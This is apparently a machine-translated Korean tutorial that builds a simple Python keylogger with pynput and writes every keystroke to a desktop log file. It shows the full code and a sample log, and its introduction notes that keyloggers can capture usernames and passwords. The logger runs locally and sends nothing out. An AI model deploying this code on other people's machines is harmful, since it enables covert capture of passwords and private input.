Computer >> 컴퓨터 >  >> 프로그램 작성 >> Python

Python에서 키로거 설계

<시간/>

여기서는 파이썬을 사용하여 키로거를 개발할 것입니다. 그러나 그 전에 키로거가 무엇입니까? Keylogger는 키 입력을 모니터링하는 프로그램입니다. 이러한 키 입력은 로그 파일에 저장됩니다. 이 키 입력을 사용하여 사용자 이름 및 비밀번호와 같은 민감한 정보를 기록할 수 있습니다.

키로거를 생성하기 위해 pynput 모듈을 사용할 것입니다. 파이썬의 표준 라이브러리가 아니므로 설치해야 할 수도 있습니다.

pyxhook 모듈 설치 -

pip를 사용하여 pynput을 설치하겠습니다 -

pip install pynput
Requirement already satisfied: pynput in c:\python\python361\lib\site-packages (1.4)
Requirement already satisfied: six in c:\python\python361\lib\site-packages (from pynput) (1.10.0)

설치가 성공했는지 확인하려면 Python 셸에서 모듈을 가져오십시오.

>>> import pynput
>>>

키로거 구축 시작

필요한 라이브러리가 설치되면 필요한 패키지와 메서드를 가져옵니다. 키보드를 모니터링하기 위해 pynput.keyboard 모듈의 키 및 리스너 메서드를 사용할 것입니다. 또한 로깅 모듈을 사용하여 파일에 키 입력을 기록할 것입니다.

from pynput.keyboard import Key, Listener
import logging

다음으로, 로그 파일을 저장할 경로, 로그를 저장할 모드 및 형식을 설정합니다.

log_dir = r"C:/users/username/desktop/"
logging.basicConfig(filename = (log_dir + "keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')

그런 다음 키 누름에 대한 정의를 만들고 키를 매개변수로 사용하는 on_press() 함수를 호출했습니다.

def on_press(key):
   logging.info(str(key))

마지막으로 할 일은 Listener의 인스턴스를 설정하고 그 안에 on_press 메서드를 정의한 다음 해당 인스턴스를 메인 스레드에 결합하는 것입니다.

with Listener(on_press=on_press) as listener:
listener.join()

위에서 언급한 단계를 결합하여 최종 프로그램을 만드는 단계에 있습니다.

from pynput.keyboard import Key, Listener
import logging
log_dir = r"C:/users/rajesh/desktop/"
logging.basicConfig(filename = (log_dir + "keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()

스크립트가 실행되는 동안 브라우저를 열고 "hello world, Wikipedia"를 입력하려고 했습니다. 로그 파일에 무슨 일이 일어났는지 봅시다 -

내 컴퓨터 바탕 화면에 "keyLog.txt" 파일이 생성되고 그 내용을 보려고 하면 다음과 같이 표시됩니다.

2019-01-18 17:06:21,854: Key.cmd
2019-01-18 17:06:22,022: 'd'
2019-01-18 17:06:39,304: 'h'
2019-01-18 17:06:39,435: 'e'
2019-01-18 17:06:39,564: 'l'
2019-01-18 17:06:39,754: 'l'
2019-01-18 17:06:39,943: 'o'
2019-01-18 17:06:40,245: Key.space
2019-01-18 17:06:40,450: 'w'
2019-01-18 17:06:40,536: 'o'
2019-01-18 17:06:40,694: 'r'
2019-01-18 17:06:40,818: 'l'
2019-01-18 17:06:40,943: 'd'
2019-01-18 17:06:43,527: ','
2019-01-18 17:06:44,947: Key.space
2019-01-18 17:06:45,091: 'p'
2019-01-18 17:06:45,342: 'y'
2019-01-18 17:06:45,468: 't'
2019-01-18 17:06:45,580: 'h'
2019-01-18 17:06:45,674: 'o'
2019-01-18 17:06:45,808: 'n'
2019-01-18 17:06:45,872: Key.space
2019-01-18 17:06:48,692: Key.backspace
2019-01-18 17:06:48,891: Key.backspace
2019-01-18 17:06:49,079: Key.backspace
2019-01-18 17:06:49,223: Key.backspace
2019-01-18 17:06:49,405: Key.backspace
2019-01-18 17:06:49,584: Key.backspace
2019-01-18 17:06:49,816: Key.backspace
2019-01-18 17:06:50,004: 'w'
2019-01-18 17:06:50,162: 'i'
2019-01-18 17:06:50,392: 'k'
2019-01-18 17:06:50,572: 'i'
2019-01-18 17:06:51,395: 'p'
2019-01-18 17:06:51,525: 'e'
2019-01-18 17:06:51,741: 'd'
2019-01-18 17:06:51,838: 'i'
2019-01-18 17:06:52,104: 'a'

그래서 우리는 내가 내 브라우저에 무엇을 입력하려고 했는지 볼 수 있습니다. 모든 키 입력은 이 파일에 저장됩니다. 그래서 여기에서 파이썬으로 아주 간단한 키 로거를 만들었습니다.